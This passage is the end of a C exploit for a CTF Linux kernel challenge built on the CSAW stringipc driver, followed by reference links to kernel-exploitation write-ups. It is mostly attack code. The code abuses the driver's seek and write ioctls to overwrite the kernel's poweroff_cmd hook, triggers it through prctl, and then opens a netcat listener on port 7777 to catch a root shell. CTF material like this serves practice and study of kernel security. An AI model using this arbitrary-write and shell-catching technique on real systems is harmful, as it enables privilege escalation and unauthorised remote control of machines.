printf("[+]poweroff_cmd covered.\n");

seek_channel.id = alloc_channel.id;
seek_channel.index = hook + kernel_base - 0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel);

poweroff_func += kernel_base;
write_channel.id = alloc_channel.id;
write_channel.buf = &poweroff_func;
write_channel.count = 8;
ioctl(fd,CSAW_WRITE_CHANNEL,&write_channel);

int p = fork();
if(!p)
prctl(0);
puts("[+]Listening...");
system("nc -lvp 7777");
close(fd);
}

reference

https://t3ls.club/index.php/archives/Linux-Kernel-Pwn.html

ctf-wiki

http://p4nda.top/2018/07/13/ciscn2018-core/#

https://ama2in9.top/2020/09/03/kernel/

https://veritas501.space/2018/06/03/kernel%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/

https://www.anquanke.com/post/id/201043

https://blog.csdn.net/seaaseesa/article/details/104695399/

http://p4nda.top/2018/11/07/stringipc/